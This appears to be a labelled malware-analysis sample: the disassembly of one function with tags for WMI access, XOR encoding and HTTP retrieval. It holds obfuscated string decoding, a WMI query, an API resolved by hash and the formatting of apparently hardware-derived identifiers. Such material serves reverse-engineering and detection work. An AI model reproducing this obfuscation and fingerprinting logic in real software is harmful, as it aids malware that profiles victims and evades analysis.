Function at 0x436110
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov ebx, dword [ebp + 8]
mov eax, dword [0x44ce7c]
mov dword [esp + 4], 0x4ff9492d
mov dword [esp + 8], 0x43d54dc5
mov dword [esp + 0xc], 0x47e341d4
mov dword [esp + 0x10], 0xbbfe45d9
mov dword [esp + 0x14], 0xbf27b92e
mov dword [esp + 0x18], 0xb317bd36
mov dword [esp + 0x1c], 0xb7b6b1d5
mov dword [esp + 0x20], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xf2
xor dl, byte [esp + ecx + 4]
add dl, 0x46
mov byte [esp + ecx + 4], dl
inc ecx
cmp ecx, 0x20
jne 0x436170
lea ecx, [esp + 0x44]
lea edi, [esp + 0x70]
lea esi, [esp + 4]
push ecx
push 8
push edi
push 0xd
push esi
push 0
call eax
test eax, eax
jns 0x4361a9
mov dword [esp + 0x70], 0x3a0043
mov dword [esp + 0x74], 0x5c
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0
lea eax, [esp + 0x40]
push eax
push 0x442670
push 1
push 0
push 0x442680
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x436780
mov dword [esp + 4], 0x590b5b12
mov dword [esp + 8], 0x5d0a5f09
mov dword [esp + 0xc], 0x511753f0
mov dword [esp + 0x10], 0x5505570f
mov dword [esp + 0x14], 0xa9dcabfe
mov dword [esp + 0x18], 0xafa8
mov byte [esp + 0x1c], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ecx, [eax + eax]
mov esi, ecx
and esi, 0x1e
mov edx, eax
xor edx, 0x6f
add edx, esi
xor dl, byte [esp + eax + 4]
add dl, 0xd5
mov byte [esp + eax + 4], dl
and ecx, 2
xor eax, 1
add eax, ecx
cmp eax, 0x19
jb 0x436240
lea esi, [esp + 4]
push esi
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
lea edx, [esp + 0x3c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x88], ebx
push ebx
push eax
call dword [ecx + 0xc]
test eax, eax
mov ebx, dword [ebp + 8]
js 0x43676c
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x58]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x436762
mov dword [esp + 4], 0x7303711f
mov dword [esp + 8], 0x6f6e6d18
mov word [esp + 0xc], 0
mov byte [esp + 0xe], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
and edx, 0x18
mov esi, ecx
xor esi, 0xbf6ff4ec
mov edi, edx
and edi, esi
xor esi, edx
lea esi, [esi + edi*2]
movzx edx, byte [esp + ecx + 4]
xor esi, edx
mov edx, esi
and edx, 0x63
add edx, edx
xor esi, 0x9c
sub edx, esi
mov byte [esp + ecx + 4], dl
inc ecx
add eax, 2
cmp ecx, 0xb
jne 0x4362f0
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x54], eax
mov dword [esp + 4], 0x4f8b49bf
mov dword [esp + 8], 0x43874db0
mov dword [esp + 0xc], 0x47b24187
mov dword [esp + 0x10], 0x7ba44564
mov dword [esp + 0x14], 0x7f847958
mov dword [esp + 0x18], 0x73817d8a
mov dword [esp + 0x1c], 0x7756718d
mov dword [esp + 0x20], 0x6bf3759f
mov dword [esp + 0x24], 0x6fb969fa
mov dword [esp + 0x28], 0x63816dba
mov dword [esp + 0x2c], 0x679f61a6
mov dword [esp + 0x30], 0x1bed6597
mov word [esp + 0x34], 0x1918
mov dword [esp + 0x36], 0
mov byte [esp + 0x3a], 0
mov eax, 0x93661012
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x6c99eff2]
xor edx, eax
lea ecx, [edx + 0x1f01afa5]
lea esi, [edx*2 + 0x3e035f4a]
and esi, 2
and edx, 1
mov edi, esi
and edi, ecx
and ecx, 0xfe
or ecx, edx
or ecx, esi
add ecx, edi
mov byte [esp + eax + 0x6c99eff2], cl
inc eax
cmp eax, 0x93661049
jne 0x4363c0
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x3c]
mov ecx, dword [esi]
lea edx, [esp + 0x60]
push edx
push 0
push 0x30
mov dword [esp + 0x74], eax
push eax
push dword [esp + 0x64]
push esi
call dword [ecx + 0x50]
test eax, eax
lea edi, [esp + 0x70]
js 0x43674c
mov dword [esp + 0x58], 0
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
lea edx, [esp + 0x58]
lea esi, [esp + 0x5c]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x436742
cmp eax, 1
je 0x436742
cmp dword [esp + 0x58], 0
je 0x436742
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x5c]
mov dword [esp + 4], 0x93ef91c3
mov dword [esp + 8], 0xafd7adde
mov dword [esp + 0xc], 0xabdea9c9
mov dword [esp + 0x10], 0xa72ba5f2
mov dword [esp + 0x14], 0xa3c0a1d5
mov dword [esp + 0x18], 0xbfccbdc1
mov dword [esp + 0x1c], 0xb9b8
mov ecx, 0xbe03b9c
mov edx, 0x641fc463
nop
movzx edi, byte [esp + ecx - 0xbe03b98]
mov ebx, edx
and ebx, 0x441b8459
mov esi, ecx
and esi, 0x8401026
or esi, ebx
xor esi, edi
mov edi, esi
xor edi, 0x57bbafd9
add esi, esi
and esi, 0x883529e6
xor esi, 0xa9350ba2
sub edi, esi
add edi, 0x749ed5f3
mov ebx, edi
and ebx, esi
xor edi, esi
lea ebx, [edi + ebx*2]
inc bl
mov byte [esp + ecx - 0xbe03b98], bl
inc ecx
dec edx
cmp ecx, 0xbe03bb8
jne 0x4364c0
mov ecx, dword [eax]
push 0
push 0
lea esi, [esp + 0x88]
push esi
push 0
lea edx, [esp + 0x14]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
mov ebx, dword [ebp + 8]
lea edi, [esp + 0x70]
js 0x436731
cmp word [esp + 0x80], 8
jne 0x436731
mov esi, dword [esp + 0x88]
movzx ecx, word [esi]
test cx, cx
je 0x43659d
lea eax, [esi + 2]
xor edi, edi
jmp 0x43657c
inc edi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x43659f
cmp cx, 0x7f
jbe 0x436570
movzx edx, cx
cmp edx, 0x7ff
ja 0x436592
add edi, 2
jmp 0x436571
cmp cx, 0xffff
je 0x436571
add edi, 3
jmp 0x436571
xor edi, edi
mov eax, edi
and eax, 1
mov dword [esp + 0x64], edi
mov ecx, edi
xor ecx, 1
lea ebx, [ecx + eax*2]
push ebx
call fcn.00408770
add esp, 4
mov edi, eax
movzx edx, word [esi]
mov dword [esp], eax
test dx, dx
je 0x4366d8
mov eax, ebx
not eax
lea eax, [eax + ebx*2]
mov edi, dword [esp]
test eax, eax
je 0x4366d8
mov edi, dword [esp]
nop
movzx ebx, dx
lea edx, [esi + 2]
cmp bx, 0x7f
ja 0x436600
lea ecx, [edi + 1]
mov byte [edi], bl
jmp 0x436680
cmp ebx, 0x7ff
ja 0x436625
cmp eax, 2
jb 0x436625
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov byte [edi], cl
and bl, 0x3f
or bl, 0x80
lea ecx, [edi + 2]
mov byte [edi + 1], bl
jmp 0x436680
mov ecx, ebx
and ecx, 0xfc00
cmp ecx, 0xd800
jne 0x43669a
cmp eax, 4
jb 0x43669a
movzx edx, word [esi + 2]
add esi, 4
shl ebx, 0xa
lea ecx, [ebx + edx]
add ecx, 0xfca02400
mov ebx, ecx
shr ebx, 0x12
add bl, 0xf0
mov byte [edi], bl
mov ebx, ecx
shr ebx, 0xc
and bl, 0x3f
or bl, 0x80
mov byte [edi + 1], bl
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [edi + 2], cl
and dl, 0x3f
or dl, 0x80
lea ecx, [edi + 4]
mov byte [edi + 3], dl
mov edx, esi
nop
add eax, edi
sub eax, ecx
mov esi, edx
mov edi, ecx
movzx edx, word [esi]
test dx, dx
je 0x4366d8
test eax, eax
jne 0x4365e0
jmp 0x4366d8
movzx ecx, cx
cmp ecx, 0xdc00
jne 0x4366a9
mov esi, edx
jmp 0x436688
cmp eax, 3
jb 0x4366d4
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [edi], cl
mov ecx, ebx
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [edi + 1], cl
and bl, 0x3f
or bl, 0x80
lea ecx, [edi + 3]
mov byte [edi + 2], bl
jmp 0x436680
mov ecx, edi
jmp 0x436680
mov byte [edi], 0
mov eax, 3
mov ecx, dword [esp + 0x64]
sub eax, ecx
cmp eax, 0xfffffffd
mov ebx, dword [ebp + 8]
jae 0x4366f3
mov eax, 0xfffffffc
add eax, ecx
shr eax, 2
cmp eax, 3
lea edi, [esp + 0x70]
lea esi, [esp + 0x80]
jb 0x43670d
mov eax, 3
lea eax, [eax*4 + 4]
push eax
push dword [esp + 4]
lea eax, [esp + 0x4c]
push eax
call fcn.004087a0
add esp, 0xc
push dword [esp]
call fcn.00408780
add esp, 4
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x5c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x54]
call esi
push dword [esp + 0x68]
call esi
lea esi, [esp + 4]
mov eax, dword [esp + 0x3c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x6c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x40]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 4], 0
push 0x72a7c387
push dword [0x44ce74]
call fcn.0043eaf0
add esp, 8
push 0
push 0
push 0
push 0
push esi
push 0
push 0
push edi
call eax
test eax, eax
je 0x4368ee
imul eax, dword [esp + 4], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + 0x44], eax
mov esi, 0xfffffff7
push 0x10
push 9
push ebx
push eax
call fcn.0041a4f0
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x4367e0
test esi, esi
je 0x4367fe
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.004087f0
add esp, 0xc
lea eax, [ebx + 8]
xor ecx, ecx
cmp dword [esp + 0x48], 0
setne cl
imul ecx, dword [esp + ecx*4 + 0x44], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 0x48], ecx
mov esi, 0xfffffff7
push 0x10
push 9
push eax
push ecx
call fcn.0041a4f0
add esp, 0x10
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x436830
test esi, esi
je 0x43684e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.004087f0
add esp, 0xc
lea eax, [ebx + 0x10]
xor ecx, ecx
cmp dword [esp + 0x4c], 0
setne cl
imul ecx, dword [esp + ecx*4 + 0x48], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 0x4c], ecx
mov esi, 0xfffffff7
push 0x10
push 9
push eax
push ecx
call fcn.0041a4f0
add esp, 0x10
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x436880
test esi, esi
je 0x43689e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.004087f0
add esp, 0xc
add ebx, 0x18
xor eax, eax
cmp dword [esp + 0x50], 0
setne al
imul eax, dword [esp + eax*4 + 0x4c], 0x1a5845
add eax, 0xebde8a13
mov esi, 0xfffffff7
push 0x10
push 9
push ebx
push eax
call fcn.0041a4f0
add esp, 0x10
nop
nop
nop
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x4368d0
test esi, esi
je 0x4368ee
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.004087f0
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret